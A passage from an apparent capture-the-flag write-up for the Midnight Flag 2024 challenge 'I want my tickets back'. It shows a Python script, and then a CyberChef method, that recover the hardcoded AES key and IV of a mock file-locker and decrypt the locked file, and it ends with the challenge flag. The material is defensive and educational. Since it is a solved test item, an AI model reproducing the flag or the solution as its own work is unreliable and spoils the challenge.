    return getattr(bnx, f[2])(fk[::-1])

def d0(fn, k):
    cs = 64 * 1024
    i = b'\xac' * 2
    v = b'\x00' * 1
    c = b'\x1f' * 3
    o = b'\xb5' * 5
    f = b'\xc8' * 1
    g = b'\xd2' * 4

    e = AES.new(k, AES.MODE_CBC, i+v+c+o+g+f)

    fn_path = p(fn)

    # Open the encrypted file for reading in binary mode
    with open(fn_path, 'rb') as infile:
        # Read the IV from the beginning of the file
        iv = infile.read(AES.block_size)

        # Read the rest of the file in chunks
        data = infile.read(cs)

        # Create a new file path for the decrypted file
        decrypted_fn = fn_path.with_suffix('.dec')

        # Open the decrypted file for writing in binary mode
        with open(decrypted_fn, 'wb') as outfile:
            while data:
                # Decrypt the chunk using the cipher object
                decrypted_chunk = e.decrypt(data)

                # Unpad the decrypted chunk
                unpadded_chunk = unpad(decrypted_chunk, AES.block_size)

                # Write the decrypted chunk to the file
                outfile.write(unpadded_chunk)

                # Read the next chunk
                data = infile.read(cs)

    print(f"Decrypted file saved as: {decrypted_fn}")


def d2(key):
    # For Linux
    d0("/path/to/file.enc", key)
    # For Windows
    # d0(r"C:\path\to\file.enc", key)

def main():
    key = k0()
    d2(key)

if __name__ == '__main__':
    main()

Ressources :

Solution 2 - Cyberchef

It is possible to decrypt the file with cyberchef.

We recover the key and the IV :

1
2
3
4
5
6
7
8
print(creation_key())
i = b'\xac\xac'
v = b'\x00'
c = b'\x1f\x1f\x1f'
o = b'\xb5\xb5\xb5\xb5\xb5'
f = b'\xc8'
g = b'\xd2\xd2\xd2\xd2'
print(i + v + c + o + g + f)

We open the file with cyberchef, use the AES Decrypt function and enter the key and the IV :

/midnightflag-2024/I-want-my-tickets-back/cyberchef.png

Flag : MCTF{Py7h0n_Cryp70_10ck3r_15_345Y_70_r3v3r53}